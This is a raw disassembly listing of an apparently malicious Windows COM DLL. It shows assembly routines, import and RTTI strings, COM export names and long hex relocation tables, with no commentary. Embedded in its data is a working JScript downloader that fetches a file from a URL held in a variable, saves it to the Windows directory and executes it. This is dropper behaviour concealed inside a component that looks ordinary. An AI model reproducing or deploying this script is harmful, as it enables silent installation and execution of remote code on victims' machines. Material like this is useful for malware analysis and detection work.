ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_40FEB1 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_40FEB1: ; CODE XREF: sub_40FE98+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_40FE98 endp ; --------------------------------------------------------------------------- dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_40FED8 proc near ; CODE XREF: .data:0040EE34p cmp cl, 40h jnb short loc_40FEF2 cmp cl, 20h jnb short loc_40FEE8 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_40FEE8: ; CODE XREF: sub_40FED8+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_40FEF2: ; CODE XREF: sub_40FED8+3j xor eax, eax xor edx, edx retn sub_40FED8 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= sub_40FEF8 proc near ; CODE XREF: .data:0040EE06p cmp cl, 40h jnb short loc_40FF13 cmp cl, 20h jnb short loc_40FF08 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_40FF08: ; CODE XREF: sub_40FEF8+8j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_40FF13: ; CODE XREF: sub_40FEF8+3j sar edx, 1Fh mov eax, edx retn sub_40FEF8 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_40FF28 proc near ; CODE XREF: sub_40F8AB+35p arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_40FF3D neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_40FF3D: ; CODE XREF: sub_40FF28+5j push ecx lea ecx, [esp+4+arg_0] loc_40FF42: ; CODE XREF: sub_40FF28+2Cj sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_40FF42 sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_40FF28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 8 dup(0) dd 313Ch, 314Ah, 3158h, 3166h, 3172h, 317Eh, 318Ch, 31A0h dd 31B0h, 31C2h, 31CEh, 31E4h, 31F0h, 3206h, 3216h, 3226h dd 0 dd 3246h, 0 dd 3270h, 325Eh, 0 dd 6425h, 41h, 6C6C6163h, 6B636162h, 6425h, 6F727265h dd 72h, 6B6Fh, 0 dd 1, 2, 3 dup(1), 0 dd 30E4h, 2 dup(0) dd 3238h, 3000h, 3128h, 2 dup(0) dd 3252h, 3044h, 3130h, 2 dup(0) dd 3282h, 304Ch, 5 dup(0) dd 313Ch, 314Ah, 3158h, 3166h, 3172h, 317Eh, 318Ch, 31A0h dd 31B0h, 31C2h, 31CEh, 31E4h, 31F0h, 3206h, 3216h, 3226h dd 0 dd 3246h, 0 dd 3270h, 325Eh, 0 dd 6C4701EEh, 6C61626Fh, 6F6C6C41h, 1FD0063h, 626F6C47h dd 69536C61h, 657Ah, 6C4701F5h, 6C61626Fh, 65657246h, 3B60000h dd 7274736Ch, 41797063h, 3B90000h, 7274736Ch, 6E797063h dd 0EF0041h, 65657246h, 7262694Ch, 797261h, 65470177h dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0248h, 694C6461h dd 72617262h, 4179h, 65470198h, 6F725074h, 64644163h, 73736572h dd 3AD0000h, 7274736Ch, 41746163h, 26B0000h, 746C754Dh dd 74794269h, 576F5465h, 43656469h, 726168h, 736C03BCh dd 656C7274h, 416Eh, 69570387h, 68436564h, 6F547261h, 746C754Dh dd 74794269h, 1690065h, 4C746547h, 45747361h, 726F7272h dd 3730000h, 74726956h, 416C6175h, 636F6C6Ch, 3790000h dd 74726956h, 506C6175h, 65746F72h, 7463h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D60000h, 72707377h, 66746E69h, 53550041h dd 32335245h, 6C6C642Eh, 80000h, 49534C43h, 6F724644h dd 7274536Dh, 676E69h, 74530134h, 676E6972h, 6D6F7246h dd 44495547h, 6C6F0032h, 2E323365h, 6C6C64h, 2 dup(0) dd 40C0EE1Ah, 0 dd 32FEh, 1, 2 dup(7), 32B8h, 32D4h, 32F0h, 1000h, 15E2h dd 102Fh, 10B6h, 1566h, 1717h, 10D5h, 3309h, 330Fh, 3314h dd 3319h, 331Eh, 3322h, 332Ah, 10000h, 30002h, 50004h dd 79530006h, 6D657473h, 6C6C642Eh, 6C6C4100h, 4300636Fh dd 6C6C61h, 79706F43h, 65724600h, 65470065h, 6E490074h dd 4F343674h, 74530070h, 65726Fh, 34h dup(0) dd 1000h, 0E0h, 300E3005h, 30363023h, 30823040h, 30AD3091h dd 30C430BBh, 30E030D0h, 30F430EEh, 31463105h, 3154314Ch dd 31B43159h, 31CD31BAh, 31EB31D5h, 320431F3h, 3228320Ah dd 32393230h, 32503248h, 3263325Dh, 32753270h, 3297328Eh dd 32CB32BEh, 349F32D2h, 34C334BCh, 350C3501h, 3536352Fh dd 35543542h, 356B355Bh, 357F3574h, 35C335A9h, 35F435ECh dd 367635FEh, 36F936EAh, 3726370Fh, 377B3731h, 3A2438E4h dd 3A763A6Ch, 3B7A3A89h, 3C333C2Ch, 3D013C91h, 3EA13E3Ah dd 3EC23EB2h, 3EE73EE0h, 3F0D3F09h, 3F153F11h, 3F1D3F19h dd 3F253F21h, 3F2D3F29h, 3F353F31h, 3F3D3F39h, 3F453F41h dd 3F4D3F49h, 3F553F51h, 3F5D3F59h, 3FDE3F61h, 3FE6h, 2000h dd 0CCh, 30B13056h, 30DB30D0h, 30F330E2h, 310F3102h, 314A3116h dd 321031A4h, 32243217h, 3236322Fh, 32473242h, 325E3257h dd 32763267h, 32873280h, 32BD329Bh, 32E032C4h, 332E3308h dd 334D3347h, 3367335Fh, 3390338Ah, 33A33395h, 33AE33A9h dd 33C333B6h, 33D633C8h, 33E133DCh, 33F033E7h, 340533FFh dd 341F340Bh, 34533449h, 34913489h, 34A33497h, 34C034BBh dd 34DF34D9h, 352134E6h, 35463535h, 35663552h, 35803574h dd 359C3587h, 35DC35A2h, 35EB35E4h, 35F835EFh, 36073601h dd 36233614h, 36463628h, 36C2365Eh, 37DB36D7h, 37EB37E2h dd 37F837F1h, 380237FDh, 380C3807h, 38183812h, 15h dup(0) aNalsoftware db 'nalSoftware',0 aDllcanunloadno db 'DllCanUnloadNow',0 aDllgetclassobj db 'DllGetClassObject',0 align 4 dd 2F5h dup(0) dd 1001272Ch, 1001CE1Ah, 1001CE3Ch, 1001CE52h, 1001CDC1h dd 1001CDE9h, 1001CE04h, 1001CD90h, 1001CDB0h, 0 dd 1001CE30h, 2 dup(0) dd 10010EEDh, 10015C49h, 10017910h, 100137A6h, 2 dup(0) dd 10015CF2h, 2 dup(0) dd 100137B9h, 4 dup(0) dd 10001000h, 1001E160h, 0 a_?avcatlexcept db '.?AVCAtlException@ATL@@',0 dd 1001D888h, 1001D874h, 1001D85Ch, 1001D848h, 1001D828h dd 1001D810h, 1001D7E4h, 1001D7C8h, 1001D7B4h, 0 dd 0FFFFFFFFh, 1001D4CCh, 10023EA4h, 1, 4 dup(0) dd 1001E160h, 0 a_?avexception@ db '.?AVexception@@',0 dd 1001E160h, 0 a_?avbad_cast@@ db '.?AVbad_cast@@',0 align 4 dd 0BB40E64Eh, 19930520h, 3 dup(0) dd 1001E160h, 0 a_?avtype_info@ db '.?AVtype_info@@',0 dd 10013758h, 0 dd 10014575h, 100128DAh, 10013758h, 0FFFFFFFFh, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 3 dup(0) dd 1, 0 dd 1, 0 dd 1, 22h dup(0) dd 10h, 0 dd 43h, 0 dd 1, 8 dup(0) dd 2 dup(1), 3 dup(0) dd 10023B5Ch, 3 dup(0) dd 1001E8E0h, 10023AA0h, 0 dd 10023280h, 0 dd 1, 8 dup(0) dd 43h, 21h dup(0) dd 43h, 21h dup(0) dd 1001E7A0h, 0 dd 1001888Bh, 1001E794h, 10023278h, 1001888Bh, 1001E788h dd 10023278h, 1001866Fh, 1001E77Ch, 10023278h, 10018430h dd 1001E770h, 10023278h, 1001818Ah, 1001E768h, 10023278h dd 100180CCh, 1, 16h, 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6 dd 9, 7, 0Ch, 8, 0Ch, 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h dd 0Dh, 16h, 0Fh, 2, 10h, 0Dh, 11h, 2 dup(12h), 2, 21h dd 0Dh, 35h, 2, 41h, 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h dd 0Dh, 57h, 16h, 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch dd 72h, 9, 6, 16h, 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h dd 84h, 0Dh, 91h, 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h dd 0Dh, 0B7h, 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 1001E8E0h dd 1001EAE2h, 10024D60h, 0 dd 10024D60h, 101h, 2 dup(0) dd 1000h, 4 dup(0) dd 2, 1, 6 dup(0) dd 2 dup(2), 8Dh dup(0) dd 0FFFFFFFFh, 0A80h, 8 dup(0) dd 0C0000005h, 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dd 3, 7, 78h, 0Ah, 2, 1001F0F0h, 8, 1001F0C4h, 9, 1001F098h dd 0Ah, 1001F000h, 10h, 1001EFD4h, 11h, 1001EFA4h, 12h dd 1001EF80h, 13h, 1001EF54h, 18h, 1001EF1Ch, 19h, 1001EEF4h dd 1Ah, 1001EEBCh, 1Bh, 1001EE84h, 1Ch, 1001EE5Ch, 1Dh dd 1001EDB8h, 78h, 1001EDA8h, 79h, 1001ED98h, 7Ah, 1001ED88h dd 0FCh, 1001ED84h, 0FFh, 1001ED74h, 2 dup(0) dd 8040201h, 0 dd 3A4h, 82798260h, 21h, 0 dd 0DFA6h, 0 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd 1, 10023AA0h, 1001F324h, 1001F320h, 1001F31Ch, 1001F318h dd 1001F314h, 1001F310h, 1001F30Ch, 1001F304h, 1001F2FCh dd 1001F2F4h, 1001F2E8h, 1001F2DCh, 1001F2D4h, 1001F2C8h dd 1001F2C4h, 1001F2C0h, 1001F2BCh, 1001F2B8h, 1001F2B4h dd 1001F2B0h, 1001F2ACh, 1001F2A8h, 1001F2A4h, 1001F2A0h dd 1001F29Ch, 1001F298h, 1001F290h, 1001F284h, 1001F27Ch dd 1001F274h, 1001F2B4h, 1001F26Ch, 1001F264h, 1001F25Ch dd 1001F250h, 1001F248h, 1001F23Ch, 1001F230h, 1001F22Ch dd 1001F228h, 1001F21Ch, 1001F208h, 1001F1FCh, 409h, 1 dd 0 dd 2Eh, 10023B58h, 9 dup(1002475Ch), 2 dup(7F7F7F7Fh) dd 10023B5Ch, 1, 2Eh, 1, 0 dd 7080h, 1, 0FFFFF1F0h, 0 dd 545350h, 0Fh dup(0) dd 544450h, 0Fh dup(0) dd 10023BB0h, 10023BF0h, 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch, 2 dup(0) dd 1, 1001E160h, 0 a_?av?_iosb@h@s db '.?AV?$_Iosb@H@std@@',0 dd 1001E160h, 0 a_?avios_base@s db '.?AVios_base@std@@',0 align 4 dd 1001E160h, 0 a_?avruntime_er db '.?AVruntime_error@std@@',0 dd 1001E160h, 0 a_?avfailure@io db '.?AVfailure@ios_base@std@@',0 align 4 dd 0FFFFFFFFh, 1001E160h, 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 dd 1001E160h, 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 4 dd 1001E160h, 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 dd 10020338h, 2 dup(10020334h), 10020330h, 1002032Ch, 2 dup(10020328h) dd 10020324h, 10020320h, 1002031Ch, 10020318h, 10020314h dd 10020310h, 1002030Ch, 0 dd 1001E160h, 0 a_?avfacet@loca db '.?AVfacet@locale@std@@',0 align 4 dd 1001E160h, 0 a_?av_locimp@lo db '.?AV_Locimp@locale@std@@',0 align 10h dw 0Ah unicode 0, <>,0 align 8 aCopyrightC1992 db 'Copyright (c) 1992-2001 by P.J. Plauger, licensed by Dinkumware, ' db 'Ltd. ALL RIGHTS RESERVED.',0 align 4 dd 460h dup(0) dd 10000h, 17h, 80000018h, 3 dup(0) dd 10000h, 4, 80000030h, 3 dup(0) dd 10000h, 0 dd 48h, 27060h, 407h, 4 dup(0) aVarXmlhttpNewA db 'var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");',0Dh,0Ah db 'var BinaryStream = new ActiveXObject("ADODB.Stream");',0Dh,0Ah db 'var WShell = new ActiveXObject("WScript.Shell");',0Dh,0Ah db 0Dh,0Ah db 'function SaveBinaryData(filename, data) {',0Dh,0Ah db 9,'BinaryStream.Type = 1; ',0Dh,0Ah db 9,'BinaryStream.Open();',0Dh,0Ah db 9,'BinaryStream.Write(data);',0Dh,0Ah db 9,'BinaryStream.SaveToFile(filename, 2);',0Dh,0Ah db 9,'BinaryStream.Close();',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function urlGet(url) {',0Dh,0Ah db 9,'var result = false;',0Dh,0Ah db 9,'try {',0Dh,0Ah db 9,9,'xmlhttp.open(',27h,'GET',27h,', url, false /* asynchronous */);',0Dh,0Ah db 9,9,'xmlhttp.send();',0Dh,0Ah db 9,9,'if (xmlhttp.status == 200) result = true;',0Dh,0Ah db 9,'} catch (e) { ; }',0Dh,0Ah db 9,'return result;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function urlSaveFile(url, path, filename) {',0Dh,0Ah db 9,'var m = url.match(/([^\/]*?)($|\?)/);',0Dh,0Ah db 9,'if (!filename) filename = (m && m[1]) ? m[1] : "file";',0Dh,0Ah db 9,'CW.Write(url);',0Dh,0Ah db 9,'if (urlGet(url)) {',0Dh,0Ah db 9,' var fname = path + ',27h,'\\',27h,' + filename;',0Dh,0Ah db 9,9,'SaveBinaryData(fname, xmlhttp.responseBody);',0Dh,0Ah db 9,9,'return fname;',0Dh,0Ah db 9,'}',0Dh,0Ah db 9,'return false;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 'function rAdd() {',0Dh,0Ah db 9,'var fname = urlSaveFile(urlo, WShell.ExpandEnvironmentStrings("%' db 'windir%"));',0Dh,0Ah db 9,'if (fname) WShell.Exec(fname);',0Dh,0Ah db 9,'return fname;',0Dh,0Ah db '}',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah,0 dd 2E6h dup(0) dd 1000h, 74h, 3024300Ah, 304C3040h, 30633058h, 30A7308Dh dd 30CF30B7h, 31503113h, 31F631DFh, 34E1332Fh, 34F834EBh dd 350F3502h, 35263519h, 353D3530h, 35543547h, 356B355Eh dd 35823575h, 3599358Ch, 35AC35A3h, 36B635B6h, 37B8378Bh dd 385637DEh, 38D438B0h, 390E38F9h, 39883965h, 3A9D39FDh dd 3D8A3B46h, 3E2A3DEAh, 3E9Ah, 2000h, 50h, 30363024h dd 32FB30B6h, 34493331h, 34AA3490h, 360034C5h, 368E3620h dd 39E837DDh, 3A2B3A26h, 3AED3A5Dh, 3B2B3B11h, 3B513B32h dd 3B863B58h, 3C0A3BADh, 3C6B3C5Ah, 3C843C7Fh, 3C9C3C91h dd 3CB73CA6h, 3CC1h, 3000h, 54h, 38BB3040h, 38C338BFh dd 38CB38C7h, 38D338CFh, 38DB38D7h, 38E338DFh, 38EB38E7h dd 38F338EFh, 38FB38F7h, 390338FFh, 390B3907h, 3913390Fh dd 391B3917h, 3923391Fh, 392B3927h, 3933392Fh, 393B3937h dd 3E7639D6h, 3EBFh, 4000h, 0Ch, 312F30E6h, 5000h, 4Ch dd 38563004h, 3B643A76h, 3C163B70h, 3C4E3C28h, 3C873C7Ah dd 3C9D3C96h, 3CC13CAFh, 3CE63CD3h, 3D133D07h, 3D323D25h dd 3D563D3Ch, 3D8A3D72h, 3E323DEAh, 3E8C3E3Eh, 3F443F2Dh dd 3F613F4Eh, 3F86h, 6000h, 0BCh, 318F3188h, 31D53199h dd 31EE31DDh, 32B63240h, 32D432CFh, 32E332DAh, 3391331Ch dd 340F33E7h, 342D3418h, 34573440h, 34BD3493h, 3558352Ah dd 36013592h, 365F3646h, 366D3667h, 3684367Eh, 369D3696h dd 36BD36AAh, 372C36CAh, 37453736h, 375E374Fh, 3788376Bh dd 37A537A0h, 37B437ABh, 387C37E4h, 38A0388Eh, 38C238AEh dd 38DE38CCh, 38FE38EEh, 39323926h, 39693942h, 398F397Eh dd 39AB399Bh, 3A1439CFh, 3A5A3A54h, 3A883A7Fh, 3AD63A8Fh dd 3BA53B30h, 3C0B3C06h, 3CF63CD2h, 3D393D30h, 3E263DB5h dd 3F333EA6h, 3FC73FB6h, 3FE53FD8h, 7000h, 60h, 3034301Ah dd 30513044h, 310E30FCh, 31A63136h, 345C3246h, 3494346Eh dd 34A2349Ah, 354E3544h, 35753558h, 38F4357Fh, 3974390Ch dd 3982397Ah, 39D439A6h, 3A113A05h, 3A283A1Ch, 3B563AB0h dd 3B9F3B6Fh, 3C603C13h, 3CC33C6Ch, 3DC73D05h, 3EC63DCDh dd 3F23h, 8000h, 40h, 30EB3046h, 312B30F0h, 328931F6h dd 34493318h, 350734ECh, 35C4350Fh, 361635EAh, 36893640h dd 37463737h, 37B6376Ch, 384E37D3h, 3BA83B88h, 3BFC3BE6h dd 3CE9h, 9000h, 2Ch, 347131FBh, 35DE34E7h, 37EC3609h dd 380F3807h, 389C384Fh, 38BF38B7h, 3DE43B46h, 3DF23DEAh dd 3E5Eh, 0A000h, 28h, 322430C6h, 3286323Ch, 32DD32B0h dd 34D13336h, 36F63586h, 3D1638A0h, 3D863D40h, 3E9C3E86h dd 0B000h, 48h, 31433046h, 3157314Ch, 333C32CFh, 35833566h dd 37513745h, 391B3836h, 3BF83BDDh, 3CA83C18h, 3CE63CC8h dd 3D153D0Dh, 3D653D58h, 3DE53D7Ch, 3DF73DEEh, 3EA63E16h dd 3EE73EE2h, 3FBC3F98h, 0C000h, 58h, 303C301Ch, 331132F6h dd 33763358h, 33A5339Dh, 33F533E8h, 3476340Ch, 35423506h dd 35C83547h, 370C35ECh, 3774374Dh, 37B9377Dh, 385E37F9h dd 386D3867h, 3AA53A0Ah, 3B733AC3h, 3BF83BD8h, 3C9E3C4Ch dd 3D783D5Dh, 3E313E16h, 3FD63EA6h, 0D000h, 60h, 30E530A6h dd 316B311Eh, 32E63226h, 33663300h, 33C13391h, 341A33F1h dd 34B63463h, 364E3516h, 385237F0h, 386B385Dh, 38E538A4h dd 38FF38ECh, 396E3903h, 39C539ACh, 3AA53A62h, 3B863B4Eh dd 3BCB3B9Ch, 3CE53C43h, 3D6E3D3Eh, 3E303DF1h, 3F363EC3h dd 3FAAh, 0E000h, 44h, 30B6309Bh, 315230CFh, 316E315Dh dd 32D73179h, 331032E2h, 367A331Bh, 39833854h, 39D039A3h dd 3A843A24h, 3B323ABAh, 3BD43BB6h, 3D223CEAh, 3DCB3D82h dd 3EE63EACh, 3F41h, 0F000h, 78h, 30ED3058h, 312C310Dh dd 319C315Ch, 31C031B5h, 31CF31C9h, 31DC31D5h, 31E831E3h dd 31F731EFh, 320431FDh, 3212320Ch, 323D3219h, 325A3248h dd 32973290h, 32C032BCh, 32C832C4h, 33423337h, 33BE338Eh dd 34793456h, 35C5352Ah, 369335E3h, 371836F8h, 37BE376Ch dd 38F63866h, 3A593A44h, 3D643A9Eh, 3DF63DDDh, 3FD43FCAh dd 3FF43FE4h, 10000h, 0E4h, 3030300Dh, 30703042h, 317130B7h dd 31B73199h, 32103200h, 327B3244h, 32A2328Ah, 32D232CBh dd 334932EBh, 346F33F2h, 34C934B1h, 357534CEh, 374A372Fh dd 37D13790h, 3854383Ah, 3875385Dh, 38E33882h, 39113904h dd 396F3923h, 39823975h, 39ED39B7h, 3A613A5Bh, 3AB83AB2h dd 3B033AC8h, 3B133B09h, 3B803B68h, 3B8F3B87h, 3B983B94h dd 3BC53B9Ch, 3C093BEBh, 3C143C10h, 3C1C3C18h, 3C243C20h dd 3C2C3C28h, 3C7C3C76h, 3C843C80h, 3CEE3C88h, 3D143CF9h dd 3D203D1Bh, 3D283D24h, 3D733D49h, 3DAC3DA5h, 3DB43DB0h dd 3DBC3DB8h, 3DC43DC0h, 3E123DC8h, 3E1C3E18h, 3E243E20h dd 3E7C3E70h, 3EB23E83h, 3ECB3EC5h, 3EDC3ED0h, 3EFB3EE4h dd 3F0E3F09h, 3F18h, 11000h, 9Ch, 30DA30CCh, 311630E3h dd 312E3128h, 31853172h, 32FE31A0h, 35F833C3h, 36173610h dd 3624361Fh, 362C3628h, 367B3655h, 36A03699h, 36A836A4h dd 36B036ACh, 36B836B4h, 370636BCh, 3710370Ch, 37183714h dd 3789377Eh, 37AB37A4h, 37B437B0h, 37D937B8h, 38353803h dd 3840383Ch, 38483844h, 3850384Ch, 38583854h, 38A838A2h dd 38B038ACh, 398938B4h, 39A2399Ah, 3A1E39E0h, 3A443A23h dd 3A753A5Fh, 3CEE3CA2h, 3DF73DB2h, 3F593EF8h, 3FEDh, 12000h dd 90h, 30E330C0h, 310F30EEh, 3195315Eh, 332432CAh, 33703333h dd 33CE33B6h, 33FA33E2h, 346C3406h, 3485347Dh, 34A0348Eh dd 34BA34AEh, 34EB34E6h, 352234F5h, 3545353Dh, 3583354Bh dd 359A3589h, 35E535CBh, 366F35FCh, 36BC36ADh, 36E136D8h dd 37493733h, 375D3755h, 37713765h, 3787377Fh, 37A23798h dd 37DA37AAh, 37F037E4h, 381537FAh, 385F381Eh, 389B388Fh dd 38DD38C5h, 391C3912h, 3A7A39ACh, 3CA23ADEh, 13000h dd 11Ch, 31F031E8h, 320231FCh, 32233213h, 32313229h, 32583252h dd 32703263h, 32933287h, 33293301h, 3394338Dh, 33ED33D9h dd 340133FBh, 3420341Ah, 3431342Ch, 343F3439h, 344C3446h dd 34593453h, 34673461h, 3473346Eh, 347D3478h, 34883482h dd 3491348Ch, 349C3496h, 34C334A4h, 34D434C9h, 355134DDh dd 35623558h, 3598358Ch, 35C1359Eh, 35E135C8h, 35F935F3h dd 36113602h, 36C936A9h, 379A3784h, 37AD37A7h, 37BB37B2h dd 37C837C1h, 37F337D1h, 380937FAh, 38263820h, 383F3833h dd 384F3846h, 387D3856h, 38933889h, 38A5389Bh, 38B938ABh dd 38C638BFh, 38DA38D3h, 38E838E0h, 38F938EEh, 3B403901h dd 3B543B4Eh, 3B733B6Eh, 3B8B3B82h, 3BA33B98h, 3BC83BB5h dd 3BD93BD3h, 3BE43BDEh, 3C0E3BF1h, 3C1F3C14h, 3C2C3C24h dd 3C3C3C32h, 3C573C42h, 3C643C5Eh, 3C783C72h, 3C833C7Dh dd 3C9D3C91h, 3CCC3CBBh dd 3CE33CD2h, 3D46h, 14000h, 0FCh, 30E730E1h, 31733122h dd 33B933AEh, 33D433C1h, 33F533EFh, 340533FEh, 34493419h dd 3460345Bh, 348E3484h, 34B53495h, 34DB34D0h, 34E834E2h dd 34FB34F0h, 350A3502h, 35213510h, 35313526h, 35503536h dd 35A33598h, 35F135EBh, 36A83693h, 373836C0h, 374C373Eh dd 377F3759h, 379D3796h, 37BA37A3h, 37D237C1h, 37E737D9h dd 380F37FBh, 38533821h, 386D3863h, 38833879h, 3896388Bh dd 38DD38C1h, 390B38FEh, 39AA3938h, 3A3239C6h, 3AAA3A77h dd 3AC23AB0h, 3B033AE0h, 3B593B30h, 3BD23B92h, 3BE13BDAh dd 3BFF3BF0h, 3C1D3C0Eh, 3D2A3C34h, 3D813D61h, 3DD03D97h dd 3DFA3DEAh, 3E063DFFh, 3E183E0Eh, 3E283E22h, 3E603E52h dd 3E763E6Eh, 3E873E81h, 3EFA3E98h, 3F3D3F02h, 3F5D3F58h dd 3F853F69h, 3FA43F8Eh, 3FCC3FBCh, 3FF6h, 15000h, 0D4h dd 3041302Ch, 307A306Ch, 30A6308Ch, 30F630C1h, 31073102h dd 31463112h, 31693161h, 318E3172h, 31D031A2h, 31ED31E8h dd 31FA31F3h, 320F31FFh, 322B3215h, 32523243h, 32853266h dd 32E832AFh, 3348331Ah, 33DE3350h, 342B3417h, 34553439h dd 34DC34D4h, 34FC34F0h, 350C3504h, 351C3514h, 352C3524h dd 353C3534h, 354C3544h, 355C3554h, 35743565h, 365D3631h dd 386D3822h, 38B23896h, 3914390Ch, 39783966h, 3A1B39DFh dd 3AE33ABAh, 3B423B2Dh, 3BAF3BA1h, 3C4A3BBDh, 3C753C64h dd 3C8E3C80h, 3CA33C9Ch, 3CBB3CB2h, 3CE83CCCh, 3D0B3CF9h dd 3D303D14h, 3D5D3D53h, 3D823D66h, 3DAC3DA5h, 3E753E65h dd 3FBE3F47h, 16000h, 0B8h, 30DA3067h, 310A30E7h, 31303122h dd 3226313Eh, 33C23297h, 34473439h, 348F3459h, 352E3499h dd 35503538h, 35863578h, 370B3594h, 3744372Fh, 378C3786h dd 37E03798h, 380737E6h, 38573822h, 386F385Eh, 38A7389Dh dd 38E438CCh, 394D391Fh, 39AD395Bh, 39C439B3h, 3A0439E2h dd 3A213A12h, 3A643A57h, 3AA63A9Bh, 3AC03AAEh, 3B1D3ACBh dd 3C0C3BF3h, 3C5D3C4Ch, 3C6C3C65h, 3C793C71h, 3CD73CD0h dd 3CEF3CE5h, 3D143D08h, 3D273D20h, 3DA53D53h, 3DF73DBBh dd 3E133E07h, 3E4B3E1Ah, 3E5E3E57h, 3F123EA1h, 3F313F17h dd 3FE73F37h, 17000h, 110h, 3034301Ah, 30523047h, 308E3065h dd 30CD309Ah, 310130E2h, 311F3113h, 3148312Fh, 3162315Bh dd 31923183h, 31C631A4h, 31D531CFh, 31EA31E5h, 31FB31F4h dd 32093203h, 32173211h, 3228321Eh, 3237322Fh, 3259323Ch dd 32813269h, 32AB3292h, 3426340Ah, 3482343Eh, 3491348Ch dd 349B3496h, 34BC34AEh, 352A34C2h, 354E3536h, 35723565h dd 35AA358Dh, 35C535B8h, 35EF35D5h, 360D35FBh, 3637361Bh dd 366C3654h, 368C3683h, 36C53692h, 36F736D7h, 371E36FDh dd 37333724h, 3741373Ah, 3767374Ah, 3782377Ch, 3791378Ah dd 37C3379Ch, 37ED37DFh, 380437F7h, 381B380Eh, 382D3824h dd 386F3839h, 387F3877h, 38AE3894h, 38D738C7h, 391238E3h dd 39343923h, 394B3941h, 395D3955h, 396C3963h, 39783973h dd 39863981h, 39D039B9h, 3A0F39EBh, 3A463A19h, 3B263AA4h dd 3B683B47h, 3BDF3B8Fh, 3BE6h, 18000h, 190h, 310A30CEh dd 31183110h, 3123311Fh, 31423138h, 315F3154h, 317B3170h dd 319E3195h, 31B331A5h, 31D131C4h, 31DC31D7h, 31FE31E2h dd 3242322Dh, 32E13252h, 32EE32E7h, 32FE32F6h, 331E330Dh dd 3333332Dh, 33423339h, 33693348h, 33863374h, 33A33391h dd 33C033AEh, 33DD33CBh, 33FA33E8h, 34163405h, 343A3421h dd 344B3443h, 34573451h, 3461345Bh, 34B534A0h, 362634CFh dd 36363630h, 364A363Fh, 365E3659h, 36763664h, 3691367Fh dd 36A1369Ch, 371E3718h, 37A2373Ch, 380337FEh, 38383809h dd 3842383Ch, 38633848h, 3939387Ch, 39463941h, 3957394Bh dd 397C396Bh, 39A939A3h, 3A0139D0h, 3A563A24h, 3A6C3A61h dd 3A803A76h, 3A943A8Ah, 3B393B20h, 3B593B4Fh, 3B823B66h dd 3B8F3B89h, 3BB43B94h, 3BF13BD3h, 3C253BFCh, 3C543C3Eh dd 3C703C5Eh, 3CA43C94h, 3CC83CB6h, 3CD83CD0h, 3CEF3CE0h dd 3D073D01h, 3D193D0Eh, 3D2A3D22h, 3D453D3Eh, 3D653D4Bh dd 3D7F3D75h, 3DA53D92h, 3DB43DACh, 3DC73DBCh, 3DDB3DD4h dd 3E093DEAh, 